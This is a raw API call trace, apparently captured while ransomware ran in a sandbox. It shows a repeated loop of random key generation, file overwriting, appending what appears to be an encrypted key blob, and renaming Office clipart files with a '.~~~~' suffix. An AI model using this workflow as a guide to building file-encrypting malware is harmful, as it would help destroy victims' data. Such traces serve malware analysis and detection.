	[0100.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0100.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0100.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28630c0
	[0100.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28630c0 | out: hHeap=0x300000) returned 1
	[0100.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd670
	[0100.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd670 | out: hHeap=0x300000) returned 1
	[0100.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865810
	[0100.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.867] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0100.867] GetLastError () returned 0x0
	[0100.867] GetLastError () returned 0x0
	[0100.867] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0100.867] GetLastError () returned 0x0
	[0100.867] GetLastError () returned 0x0
	[0100.891] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff985d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.891] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x67a3, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x67a3, lpOverlapped=0x0) returned 1
	[0100.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0100.893] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.893] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.893] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.893] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.893] CloseHandle (hObject=0x120) returned 1
	[0100.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.893] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.~~~~")) returned 1
	[0100.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0100.895] GetLastError () returned 0x0
	[0100.895] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0100.896] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.896] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0100.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0100.896] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22088613033) returned 1
	[0100.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa5d381b0, dwHighDateTime=0x1d60e1e)) 
	[0100.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0100.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0100.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0100.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28630f8
	[0100.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28630f8 | out: hHeap=0x300000) returned 1
	[0100.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd670
	[0100.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd670 | out: hHeap=0x300000) returned 1
	[0100.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28658a8
	[0100.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.897] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0100.897] GetLastError () returned 0x0
	[0100.897] GetLastError () returned 0x0
	[0100.897] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0100.897] GetLastError () returned 0x0
	[0100.897] GetLastError () returned 0x0
	[0102.496] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff82da, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.496] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x7d26, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x7d26, lpOverlapped=0x0) returned 1
	[0102.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0102.500] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.500] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.500] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.500] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.500] CloseHandle (hObject=0x120) returned 1
	[0102.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.500] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.~~~~")) returned 1
	[0102.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0102.501] GetLastError () returned 0x0
	[0102.509] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0102.510] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.510] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0102.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0102.511] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22250067814) returned 1
	[0102.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa6c8af50, dwHighDateTime=0x1d60e1e)) 
	[0102.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0102.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0102.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0102.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28632f0
	[0102.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28632f0 | out: hHeap=0x300000) returned 1
	[0102.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865cd0
	[0102.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.511] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0102.511] GetLastError () returned 0x0
	[0102.512] GetLastError () returned 0x0
	[0102.512] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0102.512] GetLastError () returned 0x0
	[0102.512] GetLastError () returned 0x0
	[0102.554] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff8ba4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.554] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x745c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x745c, lpOverlapped=0x0) returned 1
	[0102.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0102.556] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.556] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.556] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.556] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.556] CloseHandle (hObject=0x120) returned 1
	[0102.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.556] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.~~~~")) returned 1
	[0102.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0102.558] GetLastError () returned 0x0
	[0102.559] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0102.560] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.560] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0102.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0102.560] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22255033135) returned 1
	[0102.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa6cfd370, dwHighDateTime=0x1d60e1e)) 
	[0102.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0102.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0102.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0102.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863360
	[0102.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863360 | out: hHeap=0x300000) returned 1
	[0102.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865f30
	[0102.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.561] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0102.561] GetLastError () returned 0x0
	[0102.561] GetLastError () returned 0x0
	[0102.561] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0102.561] GetLastError () returned 0x0
	[0102.561] GetLastError () returned 0x0
	[0102.665] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffb4b6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.665] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x4b4a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x4b4a, lpOverlapped=0x0) returned 1
	[0102.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0102.666] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.667] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.667] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.667] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.667] CloseHandle (hObject=0x120) returned 1
	[0102.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.667] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.~~~~")) returned 1
	[0102.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0102.668] GetLastError () returned 0x0
	[0102.669] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0102.671] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.671] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0102.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0102.671] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22266126585) returned 1
	[0102.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa6e07d10, dwHighDateTime=0x1d60e1e)) 
	[0102.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0102.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0102.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0102.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863408
	[0102.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863408 | out: hHeap=0x300000) returned 1
	[0102.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866218
	[0102.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.672] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0102.672] GetLastError () returned 0x0
	[0102.673] GetLastError () returned 0x0
	[0102.673] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0102.673] GetLastError () returned 0x0
	[0102.673] GetLastError () returned 0x0
	[0102.767] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff16aa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.767] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0xe956, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0xe956, lpOverlapped=0x0) returned 1
	[0102.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0102.773] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.773] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.773] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.773] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.774] CloseHandle (hObject=0x120) returned 1
	[0102.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.774] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.~~~~")) returned 1
	[0102.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0102.775] GetLastError () returned 0x0
	[0102.775] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0102.777] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.777] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0102.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0102.778] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22276767062) returned 1
